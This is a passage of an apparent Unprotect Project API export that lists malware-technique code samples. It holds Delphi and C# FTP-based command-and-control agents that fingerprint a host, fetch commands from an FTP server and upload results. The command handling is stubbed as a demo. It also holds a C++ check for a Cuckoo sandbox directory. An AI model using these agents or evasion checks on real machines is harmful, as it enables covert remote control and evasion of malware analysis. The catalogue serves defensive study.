Assigned(FInternetHandle) then\r\n raise EWindowsException.Create('InternetOpenW');\r\nend;\r\n\r\n{ TFtpHelper.Create }\r\nconstructor TFtpHelper.Create(const AFtpHost, AFtpUser, AFtpPassword : String);\r\nbegin\r\n Create(AFtpHost, INTERNET_DEFAULT_FTP_PORT, AFtpuser, AFtpPassword);\r\nend;\r\n\r\n{ TFtpHelper.Destroy }\r\ndestructor TFtpHelper.Destroy();\r\nbegin\r\n self.Disconnect();\r\n ///\r\n\r\n if Assigned(FInternetHandle) then\r\n InternetCloseHandle(FInternetHandle);\r\n\r\n ///\r\n inherited Destroy();\r\nend;\r\n\r\n{ TFtpHelper.Connect }\r\nprocedure TFtpHelper.Connect();\r\nbegin\r\n if IsConnected() then\r\n self.Disconnect();\r\n ///\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetconnectw?FWT_mc_id=DSEC-MVP-5005282\r\n FFtpHandle := InternetConnectW(\r\n FInternetHandle,\r\n PWideChar(FFtpHost),\r\n FFtpPort,\r\n PWideChar(FFtpUser),\r\n PWideChar(FFtpPassword),\r\n INTERNET_SERVICE_FTP,\r\n INTERNET_FLAG_PASSIVE,\r\n 0\r\n );\r\n\r\n if not Assigned(FFtpHandle) then\r\n raise EWindowsException.Create('InternetConnectW');\r\nend;\r\n\r\n{ TFtpHelper.Browse }\r\nprocedure TFtpHelper.Browse(const ADirectory: string);\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpsetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(ADirectory)) then\r\n raise EWindowsException.Create('FtpSetCurrentDirectoryW');\r\nend;\r\n\r\n{ TFtpHelper.UploadStream }\r\nprocedure TFtpHelper.UploadStream(var AStream : TMemoryStream; const AFileName : String);\r\nvar hFtpFile : HINTERNET;\r\n ABytesRead : Cardinal;\r\n ABuffer : array[0..8192 -1] of byte;\r\n ABytesWritten : Cardinal;\r\n AOldPosition : Cardinal;\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n if not Assigned(AStream) then\r\n Exit();\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpopenfilew?FWT_mc_id=DSEC-MVP-5005282\r\n hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_WRITE, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);\r\n if not Assigned(hFtpFile) then\r\n raise EWindowsException.Create('FtpOpenFileW');\r\n try\r\n if AStream.Size = 0 then\r\n Exit();\r\n ///\r\n\r\n AOldPosition := AStream.Position;\r\n\r\n AStream.Position := 0;\r\n repeat\r\n ABytesRead := AStream.Read(ABuffer, SizeOf(ABuffer));\r\n if ABytesRead = 0 then\r\n break;\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetwritefile?FWT_mc_id=DSEC-MVP-5005282\r\n if not InternetWriteFile(hFtpFile, @ABuffer, ABytesRead, ABytesWritten) then\r\n raise EWindowsException.Create('InternetWriteFile');\r\n\r\n\r\n until (ABytesRead = 0);\r\n\r\n ///\r\n AStream.Position := AOldPosition;\r\n finally\r\n InternetCloseHandle(hFtpFile);\r\n end;\r\nend;\r\n\r\n{ TFtpHelper.DownloadStream }\r\nfunction TFtpHelper.DownloadStream(const AFileName : String) : TMemoryStream;\r\nvar hFtpFile : HINTERNET;\r\n ABuffer : array[0..8192 -1] of byte;\r\n ABytesRead : Cardinal;\r\nbegin\r\n result := nil;\r\n ///\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-internetreadfile?FWT_mc_id=DSEC-MVP-5005282\r\n hFtpFile := FtpOpenFileW(FFtpHandle, PWideChar(AFileName), GENERIC_READ, FTP_TRANSFER_TYPE_BINARY, INTERNET_FLAG_RELOAD);\r\n if not Assigned(hFtpFile) then\r\n raise EWindowsException.Create('FtpOpenFileW');\r\n try\r\n result := TMemoryStream.Create();\r\n ///\r\n\r\n while true do begin\r\n if not InternetReadFile(hFtpFile, @ABuffer, SizeOf(ABuffer), ABytesRead) then\r\n break;\r\n\r\n if ABytesRead = 0 then\r\n break;\r\n\r\n result.Write(ABuffer, ABytesRead);\r\n\r\n if ABytesRead <> SizeOf(ABuffer) then\r\n break;\r\n end;\r\n\r\n ///\r\n result.Position := 0;\r\n finally\r\n InternetCloseHandle(hFtpFile);\r\n end;\r\nend;\r\n\r\n{ TFtpHelper.UploadString }\r\nprocedure TFtpHelper.UploadString(const AContent, AFileName : String);\r\nvar AStream : TMemoryStream;\r\n AStreamWriter : TStreamWriter;\r\nbegin\r\n AStreamWriter := nil;\r\n ///\r\n\r\n AStream := TMemoryStream.Create();\r\n try\r\n AStreamWriter := TStreamWriter.Create(AStream, TEncoding.UTF8);\r\n ///\r\n\r\n AStreamWriter.Write(AContent);\r\n\r\n ///\r\n self.UploadStream(AStream, AFileName);\r\n finally\r\n if Assigned(AStreamWriter) then\r\n FreeAndNil(AStreamWriter)\r\n else if Assigned(AStream) then\r\n FreeAndNil(AStreamWriter);\r\n end;\r\nend;\r\n\r\n{ TFtpHelper.DownloadString }\r\nfunction TFtpHelper.DownloadString(const AFileName : String) : String;\r\nvar AStream : TMemoryStream;\r\n AStreamReader : TStreamReader;\r\nbegin\r\n result := '';\r\n ///\r\n\r\n AStreamReader := nil;\r\n ///\r\n\r\n AStream := self.DownloadStream(AFileName);\r\n if not Assigned(AStream) then\r\n Exit();\r\n try\r\n AStreamReader := TStreamReader.Create(AStream, TEncoding.UTF8);\r\n\r\n ///\r\n result := AStreamReader.ReadToEnd();\r\n finally\r\n if Assigned(AStreamReader) then\r\n FreeAndNil(AStreamReader)\r\n else if Assigned(AStream) then\r\n FreeAndNil(AStream);\r\n end;\r\nend;\r\n\r\n{ TFtpHelper.GetCurrentDirectory }\r\nfunction TFtpHelper.GetCurrentDirectory() : String;\r\nvar ALength : DWORD;\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n result := '';\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n if not FtpGetCurrentDirectoryW(FFtpHandle, nil, ALength) then\r\n if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then\r\n raise EWindowsException.Create('FtpGetCurrentDirectory(__call:1)');\r\n\r\n SetLength(result, ALength div SizeOf(WideChar));\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpgetcurrentdirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n if not FtpGetCurrentDirectoryW(FFtpHandle, PWideChar(result), ALength) then\r\n raise EWindowsException.Create('FtpGetCurrentDirectory(__call:2)');\r\nend;\r\n\r\n{ TFtpHelper.SetCurrentDirectory }\r\nprocedure TFtpHelper.SetCurrentDirectory(const APath : String);\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n if not FtpSetCurrentDirectoryW(FFtpHandle, PWideChar(APath)) then\r\n raise EWindowsException.Create('FtpSetCurrentDirectoryW');\r\nend;\r\n\r\n{ TFtpHelper.DirectoryExists }\r\nfunction TFtpHelper.DirectoryExists(const ADirectory : String) : Boolean;\r\nvar AOldDirectory : String;\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n result := False;\r\n\r\n AOldDirectory := self.GetCurrentDirectory();\r\n try\r\n SetCurrentDirectory(ADirectory);\r\n try\r\n result := True;\r\n finally\r\n SetCurrentDirectory(AOldDirectory);\r\n end;\r\n except\r\n //on E : Exception do\r\n // writeln(e.Message);\r\n // [+] Check with \"ERROR_INTERNET_EXTENDED_ERROR\" status\r\n end;\r\nend;\r\n\r\n{ TFtpHelper.CreateDirectory }\r\nprocedure TFtpHelper.CreateDirectory(const ADirectoryName : String; const ADoBrowse : Boolean = False);\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpcreatedirectoryw?FWT_mc_id=DSEC-MVP-5005282\r\n if not FtpCreateDirectoryW(FFtpHandle, PWideChar(ADirectoryName)) then\r\n raise EWindowsException.Create('FtpCreateDirectory');\r\n\r\n if ADoBrowse then\r\n self.Browse(ADirectoryName);\r\nend;\r\n\r\n{ TFtpHelper.CreateOrBrowseDirectory }\r\nprocedure TFtpHelper.CreateOrBrowseDirectory(const ADirectoryName : String);\r\nbegin\r\n if self.DirectoryExists(ADirectoryName) then\r\n self.Browse(ADirectoryName)\r\n else\r\n self.CreateDirectory(ADirectoryName, True);\r\nend;\r\n\r\n{ TFtpHelper.DeleteFile }\r\nprocedure TFtpHelper.DeleteFile(const AFileName : String);\r\nbegin\r\n CheckConnected();\r\n ///\r\n\r\n // https://learn.microsoft.com/en-us/windows/win32/api/wininet/nf-wininet-ftpdeletefilew?FWT_mc_id=DSEC-MVP-5005282\r\n if not FtpDeleteFileW(FFtpHandle, PWideChar(AFileName)) then\r\n raise EWindowsException.Create('FtpDeleteFileW');\r\nend;\r\n\r\n{ TFtpHelper.CheckConnected }\r\nprocedure TFtpHelper.CheckConnected();\r\nbegin\r\n if not IsConnected() then\r\n raise EFtpException.Create('Not connected to FTP Server.');\r\nend;\r\n\r\n{ TFtpHelper.Disconnect }\r\nprocedure TFtpHelper.Disconnect();\r\nbegin\r\n if Assigned(FFtpHandle) then\r\n InternetCloseHandle(FFtpHandle);\r\nend;\r\n\r\n{ TFtpHelper.IsConnected }\r\nfunction TFtpHelper.IsConnected() : Boolean;\r\nbegin\r\n result := Assigned(FFtpHandle);\r\nend;\r\n\r\n(* TDaemon *)\r\n\r\n{ TDaemon.Create }\r\nconstructor TDaemon.Create(const AFtpHost, AFtpUser, AFtpPassword : String; const AFtpPort : Word = INTERNET_DEFAULT_FTP_PORT);\r\n\r\n function GetMachineId() : TGUID;\r\n var ARoot : String;\r\n AVolumeNameBuffer : String;\r\n AFileSystemNameBuffer : String;\r\n ADummy : Cardinal;\r\n ASerialNumber : DWORD;\r\n AHash : TBytes;\r\n begin\r\n ARoot := TPath.GetPathRoot(TPath.GetHomePath());\r\n ///\r\n\r\n SetLength(AVolumeNameBuffer, MAX_PATH +1);\r\n SetLength(AFileSystemNameBuffer, MAX_PATH +1);\r\n try\r\n // https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-getvolumeinformationw?FWT_mc_id=DSEC-MVP-5005282\r\n if not GetVolumeInformationW(\r\n PWideChar(ARoot),\r\n PWideChar(AVolumeNameBuffer),\r\n Length(AVolumeNameBuffer),\r\n @ASerialNumber,\r\n ADummy,\r\n ADummy,\r\n PWideChar(AFileSystemNameBuffer),\r\n Length(AFileSystemNameBuffer)\r\n ) then\r\n Exit(TGUID.Empty);\r\n ///\r\n\r\n // Tiny but efficient trick to generate a fake GUID from a MD5 (32bit Hex Long)\r\n AHash := THashMD5.GetHashBytes(IntToStr(ASerialNumber));\r\n\r\n result := TGUID.Create(Format('{%.8x-%.4x-%.4x-%.4x-%.4x%.8x}', [\r\n PLongWord(@AHash[0])^,\r\n PWord(@AHash[4])^,\r\n PWord(@AHash[6])^,\r\n PWord(@AHash[8])^,\r\n PWord(@AHash[10])^,\r\n PLongWord(@AHash[12])^\r\n ]));\r\n finally\r\n SetLength(AVolumeNameBuffer, 0);\r\n SetLength(AFileSystemNameBuffer, 0);\r\n end;\r\n end;\r\n\r\nbegin\r\n inherited Create(False);\r\n ///\r\n\r\n FFtpHost := AFtpHost;\r\n FFtpPort := AFtpPort;\r\n FFtpUser := AFtpUser;\r\n FFtpPassword := AFtpPassword;\r\n\r\n ///\r\n FAgentSession := GetMachineId();\r\nend;\r\n\r\n{ TDaemon.Execute }\r\nprocedure TDaemon.Execute();\r\nvar AFtp : TFtpHelper;\r\n ACommand : String;\r\n AContextPath : String;\r\n AUserDomain : String;\r\n ACommandResult : String;\r\n\r\n\r\nconst STR_COMMAND_PLACEHOLDER = '__command__';\r\n\r\ntype\r\n TWindowsInformationKind = (\r\n wikUserName,\r\n wikComputerName\r\n );\r\n\r\n { _.GetWindowsInformation }\r\n function GetWindowsInformation(const AKind : TWindowsInformationKind = wikUserName) : String;\r\n var ALength : cardinal;\r\n begin\r\n ALength := MAX_PATH + 1;\r\n\r\n SetLength(result, ALength);\r\n\r\n case AKind of\r\n wikUserName:\r\n // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea?FWT_mc_id=DSEC-MVP-5005282\r\n if not GetUserNameW(PWideChar(result), ALength) then\r\n raise EWindowsException.Create('GetUserNameW');\r\n wikComputerName:\r\n // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getcomputernamew?FWT_mc_id=DSEC-MVP-5005282\r\n if not GetComputerNameW(PWideChar(result), ALength) then\r\n raise EWindowsException.Create('GetComputerNameW');\r\n end;\r\n\r\n ///\r\n SetLength(result, ALength);\r\n\r\n result := Trim(result);\r\n end;\r\n\r\nbegin\r\n AFtp := TFtpHelper.Create(FFtpHost, FFtpPort, FFtpUser, FFtpPassword);\r\n try\r\n AUserDomain := Format('%s@%s', [\r\n GetWindowsInformation(),\r\n GetWindowsInformation(wikComputerName)]\r\n );\r\n\r\n AContextPath := Format('%s/%s', [\r\n FAgentSession.ToString(),\r\n AUserDomain\r\n ]);\r\n ///\r\n\r\n while not Terminated do begin\r\n ACommand := '';\r\n try\r\n AFtp.Connect();\r\n try\r\n // Create remote directory tree\r\n try\r\n AFtp.CreateOrBrowseDirectory(FAgentSession.ToString());\r\n\r\n AFtp.CreateOrBrowseDirectory(AUserDomain);\r\n except end;\r\n\r\n // Retrieve dedicated command\r\n try\r\n ACommand := AFtp.DownloadString(STR_COMMAND_PLACEHOLDER);\r\n except end;\r\n\r\n // Echo-back command result\r\n if not String.IsNullOrEmpty(ACommand) then begin\r\n // ... PROCESS ACTION / COMMAND HERE ... //\r\n // ...\r\n\r\n ACommandResult := Format('This is just a demo, so I echo-back the command: \"%s\".', [ACommand]);\r\n\r\n AFtp.UploadString(ACommandResult, Format('result.%s', [\r\n FormatDateTime('yyyy-mm-dd-hh-nn-ss', Now)])\r\n );\r\n\r\n // Delete the command file when processed\r\n try\r\n AFtp.DeleteFile(STR_COMMAND_PLACEHOLDER);\r\n except end;\r\n end;\r\n finally\r\n AFtp.Disconnect(); // We are in beacon mode\r\n end;\r\n except\r\n on E : Exception do\r\n WriteLn(Format('Exception: %s', [E.Message]));\r\n end;\r\n\r\n ///\r\n Sleep(1000);\r\n end;\r\n finally\r\n if Assigned(AFtp) then\r\n FreeAndNil(AFtp);\r\n\r\n ///\r\n ExitThread(0); //!important\r\n end;\r\nend;\r\n\r\n(* Code *)\r\n\r\nprocedure main();\r\nvar ADaemon : TDaemon;\r\nbegin\r\n ADaemon := TDaemon.Create('ftp.localhost', 'dark', 'toor');\r\n\r\n readln;\r\nend;\r\n\r\n(* EntryPoint *)\r\nbegin\r\n main();\r\n\r\nend."
},
{
"id": 197,
"language": {
"id": 9,
"label": "C#",
"code_class": "csharp"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/353/?format=api",
"description": "his code snippet is written in C# (.NET Core) and facilitates request/response interactions via FTP, supporting both standard FTP and secure FTP (FTPS).\r\n\r\nThe [WebRequest](https://learn.microsoft.com/en-us/dotnet/api/system.net.webrequest?view=net-7.0?WT_mc_id=SEC-MVP-5005282) / [FtpWebRequest](https://learn.microsoft.com/en-us/dotnet/api/system.net.ftpwebrequest?view=net-7.0?WT_mc_id=SEC-MVP-5005282) classes are employed for executing FTP requests.",
"plain_code": "/*\r\n * =========================================================================================\r\n * www.unprotect.it (Unprotect Project)\r\n * Author: Jean-Pierre LESUEUR (@DarkCoderSc)\r\n * =========================================================================================\r\n */\r\n\r\n/*\r\n * Quick Start with Docker:\r\n * \r\n * > `docker pull stilliard/pure-ftpd`\r\n * \r\n * Unsecure FTP Server:\r\n * > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \"PUBLICHOST: 127.0.0.1\" -e \"ADDED_FLAGS=-E -A -X -x\" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`\r\n * \r\n * \"Secure\" FTP Server (TLS):\r\n * > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \"PUBLICHOST: 127.0.0.1\" -e \"ADDED_FLAGS=-E -A -X -x --tls=2\" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e \"TLS_CN=localhost\" -e \"TLS_ORG=gogopando\" -e \"TLS_C=FR\" stilliard/pure-ftpd`\r\n * \r\n * \r\n * /!\\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\\ \r\n */\r\n\r\nusing System.Net;\r\nusing System.Runtime.InteropServices;\r\nusing System.Runtime.Versioning;\r\nusing System.Security.Cryptography;\r\nusing System.Text;\r\n\r\nclass Program\r\n{ \r\n public static Guid AgentSession = Guid.NewGuid();\r\n\r\n // EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n public static readonly string FtpHost = \"127.0.0.1\";\r\n public static readonly string FtpUser = \"dark\";\r\n public static readonly string FtpPwd = \"toor\";\r\n public static readonly bool FtpSecure = false;\r\n\r\n public static readonly int BeaconDelayMin = 500;\r\n public static readonly int BeaconDelayMax = 1000;\r\n // EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\r\n\r\n [DllImport(\"kernel32.dll\", SetLastError = true, CharSet = CharSet.Unicode)]\r\n public static extern bool GetVolumeInformation(\r\n string lpRootPathName,\r\n StringBuilder lpVolumeNameBuffer,\r\n int nVolumeNameSize,\r\n out uint lpVolumeSerialNumber,\r\n out uint lpMaximumComponentLength,\r\n out uint lpFileSystemFlags,\r\n StringBuilder lpFileSystemNameBuffer,\r\n int nFileSystemNameSize\r\n );\r\n\r\n public static CancellationTokenSource CancellationTokenSource = new();\r\n\r\n /// <summary>\r\n /// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.\r\n /// This is accomplished through abstraction and simplification of the built-in WebRequest class,\r\n /// providing users with a more intuitive and manageable interface for FTP operations.\r\n /// \r\n /// Supported operations:\r\n /// * Session Actions\r\n /// * Stream Upload (Generic)\r\n /// * String Upload\r\n /// * Stream Download (Generic)\r\n /// * String Download\r\n /// * Create Directory\r\n /// * Delete File\r\n /// * Enumerate Directory Files\r\n /// </summary>\r\n public class FtpHelper\r\n {\r\n public string Host;\r\n public string Username;\r\n private string Password;\r\n private bool Secure;\r\n\r\n public FtpHelper(string host, string username, string password, bool secure)\r\n {\r\n this.Host = host;\r\n this.Username = username;\r\n this.Password = password;\r\n this.Secure = secure;\r\n }\r\n\r\n private FtpWebRequest NewRequest(string? uri)\r\n {\r\n // Microsoft no longer recommends using \"WebRequest\" for FTP operations and advises opting for third-party components\r\n // specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.\r\n#pragma warning disable SYSLIB0014\r\n FtpWebRequest request = (FtpWebRequest)WebRequest.Create($\"ftp://{this.Host}/{uri ?? \"\"}\");\r\n#pragma warning restore SYSLIB0014\r\n\r\n request.Credentials = new NetworkCredential(this.Username, this.Password);\r\n\r\n request.UsePassive = true;\r\n request.UseBinary = true;\r\n request.KeepAlive = true;\r\n request.EnableSsl = this.Secure;\r\n\r\n return request;\r\n }\r\n\r\n public void UploadData(Stream data, string destFilePath)\r\n {\r\n FtpWebRequest request = this.NewRequest(destFilePath);\r\n\r\n request.Method = WebRequestMethods.Ftp.UploadFile;\r\n\r\n using Stream requestStream = request.GetRequestStream();\r\n\r\n data.CopyTo(requestStream);\r\n }\r\n\r\n public void UploadString(string content, string destFilePath)\r\n {\r\n byte[] bytes = Encoding.UTF8.GetBytes(content);\r\n\r\n using MemoryStream stream = new(bytes);\r\n\r\n UploadData(stream, destFilePath);\r\n }\r\n\r\n public Stream DownloadData(string remoteFilePath)\r\n {\r\n FtpWebRequest request = this.NewRequest(remoteFilePath);\r\n\r\n request.Method = WebRequestMethods.Ftp.DownloadFile;\r\n\r\n FtpWebResponse response = (FtpWebResponse)request.GetResponse();\r\n\r\n Stream stream = response.GetResponseStream();\r\n\r\n return stream;\r\n }\r\n\r\n public string DownloadString(string remoteFilePath)\r\n {\r\n using Stream stream = DownloadData(remoteFilePath);\r\n\r\n using StreamReader reader = new StreamReader(stream);\r\n\r\n return reader.ReadToEnd();\r\n }\r\n\r\n private void ExecuteFTPCommand(string remoteDirectoryPath, string command)\r\n {\r\n FtpWebRequest request = this.NewRequest(remoteDirectoryPath);\r\n\r\n request.Method = command;\r\n\r\n using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();\r\n }\r\n\r\n public void CreateDirectory(string remoteDirectoryPath)\r\n {\r\n ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);\r\n }\r\n\r\n public void DeleteFile(string remoteDirectoryPath)\r\n {\r\n ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);\r\n }\r\n }\r\n\r\n /// <summary>\r\n /// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into\r\n /// a pseudo-GUID format.\r\n /// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for \r\n /// other operating systems and/or employ different strategies to derive a unique machine ID\r\n /// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file). \r\n /// </summary>\r\n /// <returns>A unique machine ID in GUID format.</returns>\r\n [SupportedOSPlatform(\"windows\")]\r\n public static Guid GetMachineId()\r\n {\r\n string candidate = \"\";\r\n\r\n string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];\r\n\r\n const int MAX_PATH = 260;\r\n\r\n StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1); \r\n StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);\r\n\r\n bool success = GetVolumeInformation(\r\n mainDrive,\r\n lpVolumeNameBuffer,\r\n lpVolumeNameBuffer.Capacity,\r\n out uint serialNumber,\r\n out uint _,\r\n out uint _,\r\n lpFileSystemNameBuffer,\r\n lpFileSystemNameBuffer.Capacity\r\n );\r\n\r\n if (success)\r\n candidate += serialNumber.ToString(); \r\n\r\n using MD5 md5 = MD5.Create();\r\n\r\n byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));\r\n\r\n return new Guid(Convert.ToHexString(hash));\r\n }\r\n\r\n public static void Main(string[] args)\r\n { \r\n // Important Notice: The delegate below renders the current application susceptible to\r\n // Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.\r\n // This configuration was implemented to accommodate self-signed certificates.\r\n // However, it is strongly advised not to employ this approach in a production environment\r\n // if SSL/TLS security is expected.\r\n if (FtpSecure)\r\n ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };\r\n ///\r\n\r\n // Adapt \"GetMachineId\" for cross-platform support.\r\n AgentSession = GetMachineId();\r\n\r\n List<Thread> daemons = new List<Thread>();\r\n ///\r\n\r\n // This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a\r\n // single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance\r\n // performance.\r\n daemons.Add(new Thread((object? obj) =>\r\n {\r\n if (obj == null)\r\n return;\r\n\r\n FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);\r\n\r\n string contextPath = $\"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}\";\r\n string commandFile = $\"{contextPath}/__command__\";\r\n\r\n CancellationToken cancellationToken = (CancellationToken)obj;\r\n while (!cancellationToken.IsCancellationRequested)\r\n {\r\n string? command = null;\r\n try\r\n {\r\n // Retrieve dedicated command\r\n try\r\n {\r\n command = ftp.DownloadString(commandFile);\r\n }\r\n catch { };\r\n\r\n // Create remote directory tree\r\n try\r\n {\r\n ftp.CreateDirectory(AgentSession.ToString());\r\n\r\n ftp.CreateDirectory(contextPath);\r\n }\r\n catch { };\r\n\r\n // Echo-back command result\r\n if (!String.IsNullOrEmpty(command))\r\n {\r\n // ... PROCESS ACTION / COMMAND HERE ... //\r\n // ...\r\n\r\n string commandResult = $\"This is just a demo, so I echo-back the command: `{command}`.\";\r\n\r\n // ...\r\n // ... PROCESS ACTION / COMMAND HERE ... //\r\n\r\n string resultFile = $\"{contextPath}/result.{DateTime.Now.ToString(\"yyyy-MM-dd-HH-mm-ss\")}\";\r\n\r\n ftp.UploadString(commandResult, resultFile);\r\n\r\n // Delete the command file when processed\r\n try\r\n {\r\n ftp.DeleteFile(commandFile);\r\n }\r\n catch { }\r\n }\r\n\r\n ///\r\n Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));\r\n }\r\n catch (Exception ex) {\r\n Console.WriteLine(ex.Message);\r\n };\r\n }\r\n }));\r\n \r\n // The action to handle a CTRL+C signal on the console has been registered.\r\n // When triggered, it will instruct any associated cancellation tokens to properly\r\n // shut down their associated daemons.\r\n Console.CancelKeyPress += (sender, cancelEventArgs) =>\r\n {\r\n CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.\r\n\r\n cancelEventArgs.Cancel = true; // Cancel default behaviour\r\n };\r\n\r\n // Start daemons\r\n foreach (Thread daemon in daemons)\r\n daemon.Start(CancellationTokenSource.Token);\r\n\r\n // Keep process running until CTRL+C.\r\n CancellationToken token = CancellationTokenSource.Token;\r\n while (!token.IsCancellationRequested)\r\n Thread.Sleep(1000);\r\n\r\n // Wait for daemons to join main thread\r\n foreach (Thread daemon in daemons)\r\n daemon.Join(); \r\n }\r\n}"
},
{
"id": 196,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 28,
"username": "一半人生",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/TimelifeCzy"
},
"technique": "https://unprotect.it/api/techniques/13/?format=api",
"description": "This C++ code provides three different functions to check whether a given directory exists in a Windows file system. The functions IsDirectory, IsDirectory1, and IsDirectory2 each use different methods to verify the existence of the directory. IsDirectory uses the CRT _access function, IsDirectory1 uses the WinAPI CreateFileA function with the OPEN_EXISTING flag and FILE_FLAG_BACKUP_SEMANTICS attribute to check if a directory handle can be created, and IsDirectory2 uses the CreateDirectoryA function to attempt to create the directory and then checks for an ERROR_ALREADY_EXISTS error. The main function then tests these three methods on a directory named \"C:\\Cuckoo\" and outputs whether each method successfully detected the directory.",
"plain_code": "#include <Windows.h>\r\n#include <iostream>\r\n#include <io.h>\r\n\r\n// win api\r\nconst bool IsDirectory2(std::string& strDirName) {\r\n\tconst auto iCode = CreateDirectoryA(strDirName.c_str(), NULL);\r\n\tif (ERROR_ALREADY_EXISTS == GetLastError())\r\n\t\treturn true;\r\n\tif (iCode)\r\n\t\tRemoveDirectoryA(strDirName.c_str());\r\n\treturn false;\r\n}\r\n\r\n// win api\r\nconst bool IsDirectory1(std::string& strDirName) {\r\n\tconst HANDLE hFile = CreateFileA(\r\n\t\tstrDirName.c_str(),\r\n\t\tGENERIC_READ, \r\n\t\t0, \r\n\t\tNULL,\r\n\t\tOPEN_EXISTING, \r\n\t\tFILE_FLAG_BACKUP_SEMANTICS, \r\n\t\tNULL);\r\n\tif (!hFile || (INVALID_HANDLE_VALUE == hFile))\r\n\t\treturn false;\r\n\tif(hFile)\r\n\t\tCloseHandle(hFile);\r\n\treturn true;\r\n}\r\n\r\n// crt\r\nconst bool IsDirectory(std::string& strDirName) {\r\n\tif (0 == _access(strDirName.c_str(), 0))\r\n\t\treturn true;\r\n\treturn false;\r\n}\r\n\r\nint main()\r\n{\r\n\tstd::string strDirName = \"C:\\\\Cuckoo\";\r\n\tif (IsDirectory(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\tif (IsDirectory1(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\tif (IsDirectory2(strDirName)) {\r\n\t\tstd::cout << \"Ture: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\telse {\r\n\t\tstd::cout << \"Flase: \" << strDirName.c_str() << std::endl;\r\n\t}\r\n\r\n\r\n\treturn 0;\r\n}"
},
{
"id": 195,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 28,
"username": "一半人生",
"email": "null@localhost",
"linkedin": null,
"twitter": null,
"website": null,
"github": "https://github.com/TimelifeCzy"
},
"technique": "https://unprotect.it/api/techniques/24/?format=api",
